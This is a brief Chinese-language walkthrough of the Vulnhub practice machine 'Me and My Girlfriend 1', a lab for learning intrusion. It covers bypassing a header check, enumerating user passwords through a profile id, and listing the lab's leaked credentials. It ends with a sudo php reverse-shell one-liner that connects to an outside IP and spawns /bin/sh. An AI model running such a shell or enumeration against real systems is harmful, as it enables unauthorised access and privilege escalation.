Girlfreind:1 Vulnhub Walkthrough

靶机连接：

https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

主机扫描：

 

HTTP 目录访问，提示无权限，右键源码，提示XXF便可

 

正常访问，注册一个用户，登陆，而后查看用户profile，经过id进行遍历枚举用户密码

 

eweuhtandingan skuyatuh
sedihaingmah cedihhihihi
aingmaung qwerty!!!
abdikasepak dorrrrr
sundatea indONEsia
alice 4lic3
pentest pentest

经过注意登陆web，无发现上传的点

而后经过ssh尝试登陆

 

提权操做

sudo /usr/bin/php -r '$sock=fsockopen("10.10.203.14",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

 

 

OVER !!